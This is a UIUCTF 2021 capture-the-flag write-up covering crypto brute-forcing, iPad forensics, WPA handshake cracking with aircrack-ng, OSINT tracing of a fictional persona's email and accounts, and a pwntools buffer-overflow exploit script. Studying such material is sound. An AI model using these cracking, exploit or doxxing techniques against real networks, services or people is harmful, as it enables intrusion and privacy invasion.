UIUCTF 2021

crypto

dhke_intro

Solved by : choco

“Small numbers are bad in cryptography. This is why.”

This is a DK cipher with just 28 possible keys to find For a given p and g from the random list, even if the generated k is randomized and dependant on p and g, we know that k should be lesser than p because of modulus operation

gpList = [ [13, 19], [7, 17], [3, 31], [13, 19], [17, 23], [2, 29] ]
g, p = random.choice(gpList)
a = random.randint(1, p)
b = random.randint(1, p)
k = pow(g, a * b, p)
k = str(k)

since the maximum value of p is 29, k is from 0 to 28

the padded key is also predictable

padding = "uiuctf2021uiuctf2021"
while (16 - len(key) != len(k)):
    key = key + padding[i]
    i += 1
key = key + k
key = bytes(key, encoding='ascii')

so key can be from b’uiuctf2021uiuct0’ to b’uiuctf2021uiuct9’ and b’uiuctf2021uiuc10’ to b’uiuctf2021uiuc28’

the VI is fixed, so with the small possible set of keys and a fixed VI we can easily bruteforce into getting the decrypted flag from the dk cipher

import binascii
from Crypto.Cipher import AES
cf = "b31699d587f7daf8f6b23b30cfee0edca5d6a3594cd53e1646b9e72de6fc44fe7ad40f0ea6"
unhcf = bytes.fromhex(cf)
for k in range(0,28):
        k = str(k)
        key = ""
        i = 0
        padding = "uiuctf2021uiuctf2021"
        while (16 - len(key) != len(k)):
            key = key + padding[i]
            i += 1
        key = key + k
        key = bytes(key, encoding='ascii')
        iv = bytes("kono DIO daaaaaa", encoding = 'ascii')
        cipher = AES.new(key, AES.MODE_CFB, iv)
        flag = cipher.decrypt(unhcf)
        try:
                print(flag.decode("ASCII"))
                print(key)
        except:
                i = 0

key: b’uiuctf2021uiuct9’

flag: uiuctf{omae_ha_mou_shindeiru_b9e5f9}


back_to_basics

Solved by : choco

“Shoutout to those people who think that base64 is proper encryption”

We are given an encoded flag that contains a lot of letters

The way encoding in this program works is the base depends on the key:

ALPHABET = bytearray(b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ#")
def base_n_encode(bytes_in, base):
    return mpz(bytes_to_long(bytes_in)).digits(base).upper().encode()
def encrypt(bytes_in, key):
    out = bytes_in
    for i in key:
            print(i)
            out = base_n_encode(out, ALPHABET.index(i))
    return out

so if the key is for example = “KEY” The string will be encoded three times and for the first encoding, K is in position 21 in ALPHABET so string is encoded in base 21 (only contains chars 0-9 and A-J) this encoded string is again encoded in base 15 (only contains chars 0-9 and A-D) since E is in 15th position in ALPHABET then finally gets encoded in base 35 (only contains chars 0-9 and A-X) for Y

The decryption will behave similar but the key will be reverse “YEK”

Now, we can see a pattern here that for a given encoded string, we will see that if we find the highest alphabet or number then the base would be a number greater than the position of that highest letter

example, if the highest letter for an encoded string is T then the key must be U,V,W,X,Y,Z or # i.e., base 30 to 36

Great, now we have narrowed down the options to find the base for the first encoded data.

To confirm if this decoded string is correct, we need to check if this string can be converted to ascii, if any string contains invalid ascii values then that base can be eliminated.

most likely, if the output of string shows a proper ascii converted output then that is the base, else it will throw an error.

    C.decode()
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xfd in position 0: invalid start byte

So we can use an try except case for errors like to to confirm the base

Once, we find the base, we can save the decoded string to a file then repeat the process using this as the encoded string and so on till we get an error due to the program finding a { on the string

That’s where we know we got the flag!

from Crypto.Util.number import long_to_bytes, bytes_to_long
from gmpy2 import mpz, to_binary

ALPHABET = bytearray(b"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ#")

def base_n_decode(bytes_in, base):
        print(base)
        bytes_out = to_binary(mpz(bytes_in, base=base))[:1:-1]
        return bytes_out


def largest_alphabet(a, n) :
     
    # Initializing max alphabet to 'a'
    max = '0'
 
    # Find largest alphabet
    for i in range(n) :
        if (a[i] > max):
            max = a[i]
 
    # Returning largest element
    return max

if __name__ == '__main__' :
    f = open("flag_enc", "r")
    j = 0
    while j < 36: 
        a = f.read()
        size = len(a)
        A = str.encode(largest_alphabet(a, size))
        f.close()
        j = 1
        while (ALPHABET.index(A)+j) < 37:
               C = base_n_decode(a,ALPHABET.index(A)+j)
               C.decode()
               break;
               j= j+1;
        if j > 36:
           break;
        print(chr(ALPHABET[ALPHABET.index(A)+j])) #print founded key
        f = open("flag", "wb")
        f.write(C)
        f.close()
        f = open("flag", "r")

key for decryption is : WM5Z8CRJABXJDJ5W

flag: uiuctf{r4DixAL}

forensics

tablet 1

Solved by : thewhiteh4t

  • we are given an iPad image in this challenge
  • goal was to find a server where the data was exfiltrated
  • so a guess was that I will find a server and flag will be present on it
  • following this theory I looked for the string uiuc.tf because thats the domain being used in all remote based challenges

    grep -rni “uiuc.tf” .

  • this is a Sqlite3 database file
  • I found SSH private key and other login info required for login

  • SSH login ssh -i id_rsa red@red.chal.uiuc.tf -p 42069

  • the private key is encrypted and the password is actually : ****

  • but on login I got a message that service allows only SFTP connections, so I tried logging in with SFTP

  • unlike most ctf challenges flag was not available after login so I downloaded .bash_history using get command

  • and in this location I found a JPG image…

uiuctf{upload_task_only_takes_9_seconds_0bf79b}

tablet 2

Solved by : thewhiteh4t

  • similar to tablet 1 we need to use the iPad image
  • this challenge talks about one more imposter
  • after some digging around we found a message database

    mobile/Library/SMS/sms.db

  • using the username in the messages above we found a discord cache database file

  • this file contains a JSON with readable chat
  • one of the messages contain a password and other one contains an image in attachment
  • password : su5Syb@k4
  • image : https://cdn.discordapp.com/attachments/868908952434384926/868914084639293490/image0.jpg
  • full JSON
[
    {
        "attachments": [
            {
                "content_type": "image/jpeg",
                "filename": "image0.jpg",
                "height": 421,
                "id": "868914084639293490",
                "proxy_url": "https://media.discordapp.net/attachments/868908952434384926/868914084639293490/image0.jpg",
                "size": 13859,
                "url": "https://cdn.discordapp.com/attachments/868908952434384926/868914084639293490/image0.jpg",
                "width": 421
            }
        ],
        "author": {
            "avatar": "f15b13e77a7fe5ef2d4b4d13be65d1dd",
            "discriminator": "8715",
            "id": "868302522304053248",
            "public_flags": 0,
            "username": "RedAmogus"
        },
        "channel_id": "868908952434384926",
        "components": [],
        "content": "",
        "edited_timestamp": null,
        "embeds": [],
        "flags": 0,
        "id": "868914084370866187",
        "mention_everyone": false,
        "mention_roles": [],
        "mentions": [],
        "pinned": false,
        "timestamp": "2021-07-25T17:54:21.357000+00:00",
        "tts": false,
        "type": 0
    },
    {
        "attachments": [],
        "author": {
            "avatar": "f15b13e77a7fe5ef2d4b4d13be65d1dd",
            "discriminator": "8715",
            "id": "868302522304053248",
            "public_flags": 0,
            "username": "RedAmogus"
        },
        "channel_id": "868908952434384926",
        "components": [],
        "content": "Ok",
        "edited_timestamp": null,
        "embeds": [],
        "flags": 0,
        "id": "868913936542597140",
        "mention_everyone": false,
        "mention_roles": [],
        "mentions": [],
        "pinned": false,
        "timestamp": "2021-07-25T17:53:46.112000+00:00",
        "tts": false,
        "type": 0
    },
    {
        "attachments": [],
        "author": {
            "avatar": "92f083abd028e406866677d86f4ca3d4",
            "discriminator": "8346",
            "id": "868907394569207858",
            "public_flags": 0,
            "username": "BlueAmogus"
        },
        "channel_id": "868908952434384926",
        "components": [],
        "content": "The password is ||su5Syb@k4||",
        "edited_timestamp": null,
        "embeds": [],
        "flags": 0,
        "id": "868913804002607114",
        "mention_everyone": false,
        "mention_roles": [],
        "mentions": [],
        "pinned": false,
        "timestamp": "2021-07-25T17:53:14.512000+00:00",
        "tts": false,
        "type": 0
    },
    {
        "attachments": [],
        "author": {
            "avatar": "92f083abd028e406866677d86f4ca3d4",
            "discriminator": "8346",
            "id": "868907394569207858",
            "public_flags": 0,
            "username": "BlueAmogus"
        },
        "channel_id": "868908952434384926",
        "components": [],
        "content": "I sent you an encrypted note with all the details",
        "edited_timestamp": null,
        "embeds": [],
        "flags": 0,
        "id": "868913676176994324",
        "mention_everyone": false,
        "mention_roles": [],
        "mentions": [],
        "pinned": false,
        "timestamp": "2021-07-25T17:52:44.036000+00:00",
        "tts": false,
        "type": 0
    },
    {
        "attachments": [],
        "author": {
            "avatar": "92f083abd028e406866677d86f4ca3d4",
            "discriminator": "8346",
            "id": "868907394569207858",
            "public_flags": 0,
            "username": "BlueAmogus"
        },
        "channel_id": "868908952434384926",
        "components": [],
        "content": "I'll deal with them, you just make sure this next sabotage goes to plan",
        "edited_timestamp": null,
        "embeds": [],
        "flags": 0,
        "id": "868913627615363103",
        "mention_everyone": false,
        "mention_roles": [],
        "mentions": [],
        "pinned": false,
        "timestamp": "2021-07-25T17:52:32.458000+00:00",
        "tts": false,
        "type": 0
    },
    {
        "attachments": [],
        "author": {
            "avatar": "f15b13e77a7fe5ef2d4b4d13be65d1dd",
            "discriminator": "8715",
            "id": "868302522304053248",
            "public_flags": 0,
            "username": "RedAmogus"
        },
        "channel_id": "868908952434384926",
        "components": [],
        "content": "White is onto me… they kept calling me out last meeting",
        "edited_timestamp": null,
        "embeds": [],
        "flags": 0,
        "id": "868913576629403659",
        "mention_everyone": false,
        "mention_roles": [],
        "mentions": [],
        "pinned": false,
        "timestamp": "2021-07-25T17:52:20.302000+00:00",
        "tts": false,
        "type": 0
    },
    {
        "attachments": [],
        "author": {
            "avatar": "f15b13e77a7fe5ef2d4b4d13be65d1dd",
            "discriminator": "8715",
            "id": "868302522304053248",
            "public_flags": 0,
            "username": "RedAmogus"
        },
        "channel_id": "868908952434384926",
        "components": [],
        "content": "Yo",
        "edited_timestamp": null,
        "embeds": [],
        "flags": 0,
        "id": "868913513463181332",
        "mention_everyone": false,
        "mention_roles": [],
        "mentions": [],
        "pinned": false,
        "timestamp": "2021-07-25T17:52:05.242000+00:00",
        "tts": false,
        "type": 0
    }
]
  • on googling I found that the notes are stored in NoteStore.sqlite so I used find command to look for the file:

  • as per the discord chat the note is encrypted and we can see that in the database, the content of blob is binary

  • after some more googling I found a nice ruby tool to decrypt and decode the encrypted notes

https://github.com/threeplanetssoftware/apple_cloud_notes_parser

  • here is the usage and decryption using the password I found above

  • in the output html file I found the flag

misc

CEO

Solved by : thewhiteh4t

  • We have a .cap file in this challenge
  • its a handshake file which can be used with aircrack-ng

    aircrack-ng megacorp-01.cap -w /usr/share/wordlists/rockyou.txt

uiuctf{nanotechnology}

doot doot

Solved by : thewhiteh4t

  • we are given a youtube video which is 8hrs 52mins long
  • bee movie script is looping
  • flag appears in the scrolling text at 9:55
  • https://youtu.be/zNXl9fqGX40?t=595

uiuctf{doot_d0ot_do0t_arent_you_tired_of_the_int4rnet?}


Emote

Solved by : Starry-Lord

Challenge mentions sharing images on discord, so I checked uiuctf ‘s discord and found a suspicious emoji:

Use zsteg on the png to read flag:

uiuctf{staring_at_pixels_is_fun}

osint

OSINT The Creator

Solved by : choco

“There is a flag on a few of the organizer’s profiles. Find it!”

One of the most prominent organiser is thomas Search his username on discord in the uiuctf server and you’ll get the flag under his profile (it is a spoiler)

Flag: uiuctf{@b0uT_m3_suppOrT5_maRkD0wN}

Chaplin’s PR Nightmare - 1

Solved by : choco

“Charlie Chaplin has gotten into software development, coding, and the like… He made a company, but it recently came under fire for a PR disaster. He got all over the internet before he realized the company’s mistake, and is now scrambling to clean up his mess, but it may be too late!! Find his Twitter Account and investigate! NOTE THAT THESE CHALLENGES DO NOT HAVE DO BE DONE IN ORDER!”

search “Chaplin Chaplin Coding” on twitter and you will get one result

https://twitter.com/ChaplinCoding

Now go to the “view lists” under the three dots next to follow (You need an account to see it)

You’ll find the flag in the second list https://twitter.com/i/lists/1416876734578929664

Flag: uiuctf{pe@k_c0medy!}

Chaplin’s PR Nightmare - 2

Solved by : choco

“Charlie made an advertisement to promote his company, he is using the modern media platform YouTube to present it! Can you find it?”

Searching up “Charlie Chaplin Coding” on google shows up this channel or the link is given from the previous challenge twitter account

https://www.youtube.com/channel/UCxPyHVMa8TyKrOj05x86osA

Click on the only video there and there will be the flag at almost the end of the video

flag: uiuctf{ch@plin_oN_th3_tV!!}

Chaplin’s PR Nightmare - 3

Solved by : choco

“Charlie even has a website!!! Find it and look around! The inner content of this flag begins with “ch”

Under the youtube “about” page from above you’ll get the link to their website

https://www.charliechaplin.dev/home

Scroll down on the home page and you’ll see an album of 3 pictures of charlie If you look closely on the picture of charlie with a macintosh, you’ll get the flag https://lh4.googleusercontent.com/qa6GoXttPCeo63Stxl8lJUNzxXZQ-TEac2HGMLKDsd1h3pEoE6MvQCS1ZdZ-x41n2mP398ke75tKKAg1B5w6niI=w16383

Flag: uiuctf{ch@pl1n_i5_eL337}

Chaplin’s PR Nightmare - 4

Solved by : choco

“Charlie left another flag on his company’s website. Maybe you have to reach out to him??? The inner content of this flag begins with “w3””

under the contact page you’ll see a google form to fill

https://docs.google.com/forms/d/e/1FAIpQLScpLDShOWwi3gQb12RfViHuVZR-__L5p8vIAQVQ6eczQULN3Q/viewform

Just submit the form (can be empty) and you’ll get the flag

Flag: uiuctf{w3_d0_nOt_v@lu3_yoUR_1nPuT}

Chaplin’s PR Nightmare - 5

Solved by : choco

“Charlie also has an imgur account that may hold the secret to his PR nightmare… Can you find it? The inner content of this flag begins with “tH”

Under the same website, Go to the about us page The last image there is actually uploaded from imgur

https://imgur.com/a/iZI1ov4

Go to their profile and check out their comment history Flag is in the first ever comment

https://imgur.com/user/chaplindevelopment/comments

Flag: uiuctf{tH3_pR_p0Lic3_h@vE_cAugHt_Up?!}

Chaplin’s PR Nightmare - 6

Solved by : choco

“Wow Charlie even set up a linkedin account, but not well it is kind of a mess. Is the PR nightmare here?? The inner content of this flag begins with “pr”“ This time you should go to linkedin to search up their name.

I searched up “C3D” as specified from their website to get their profile

https://www.linkedin.com/groups/13984825/

Go to their owners page and under his profile he’ll mention “I ran a event called “Top Hat Development Night”. It was very cool, you can find it on linkedin still search it up”

Search up “Top Hat Development Night” under events and you’ll get the event and flag under it

https://www.linkedin.com/events/6822753659445743616/

Flag: uiuctf{pr0f3s5iOn@l_bUs1n3sS_envIroNm3n7}

Chaplin’s PR Nightmare - 7

Solved by : choco

“Chaplin left some code up on GitHub which may be the actual PR nightmare I hope not though… Leaked code is bad. Find it!!! The inner content of this flag begins with “th”

Now this time search up “Charlie Chaplin” and there should be only 4 results under user you’ll figure out the profile under https://github.com/charliechaplindev

Scroll down their history and you’ll see an issue stating “ SECRET KEY SECRET KEY THIS IS BAD THIS IS BAD” Click on that and you’ll get the flag

Flag: uiuctf{th3_TrUe_pR_N1gHtm@r3}

Chaplin’s PR Nightmare - 8

Solved by : Starry-Lord

Straightup doxx Charlie by finding the email he set all these accounts up with, and investigate it. The inner content of this flag begins with “b0”

So now to find Charlie Chaplin dev ‘s e-mail address I used github.

https://github.com/charliechaplindev/C3D-Official/commit/ce81ede5ab18b6f4ca32ace4359c5570954dfc9b.patch

Remove the dot patch extension for regular layout.

Then I used the good old article https://medium.com/week-in-osint/getting-a-grasp-on-googleids-77a8ab707e43

And found contributions on Google maps at this location :

https://www.google.com/maps/contrib/117833363030761934622/photos/@41.9667449,-87.6385934,3a,84.8y,90t/data=!3m7!1e2!3m5!1sAF1QipOyi7R_ApFvR6ZeSYVpLYt4p_2wDjLu6r9V3T3T!2e10!6shttps:%2F%2Flh5.googleusercontent.com%2Fp%2FAF1QipOyi7R_ApFvR6ZeSYVpLYt4p_2wDjLu6r9V3T3T%3Dw545-h260-k-no!7i956!8i456!4m3!8m2!3m1!1e1

uiuctf{b0rk_b0rk_1_lOv3_mY_d0g<3}

pwn

pwn warmup

Solved by : thewhiteh4t

#!/usr/bin/python3

from pwn import *

host = 'pwn-warmup.chal.uiuc.tf'
port = 1337
offset = 20
addr = 0

junk = b'A' * offset

conn = remote(host, port)
lines = conn.recvuntil('ad\n').decode().split('\n')
addr = lines[2].split(' = ')[1].strip()
addr = int(addr, 16)
le_num = p64(addr)
buffer = junk + le_num
conn.sendline(buffer)
flag = conn.recvuntil('}').decode()
print(flag)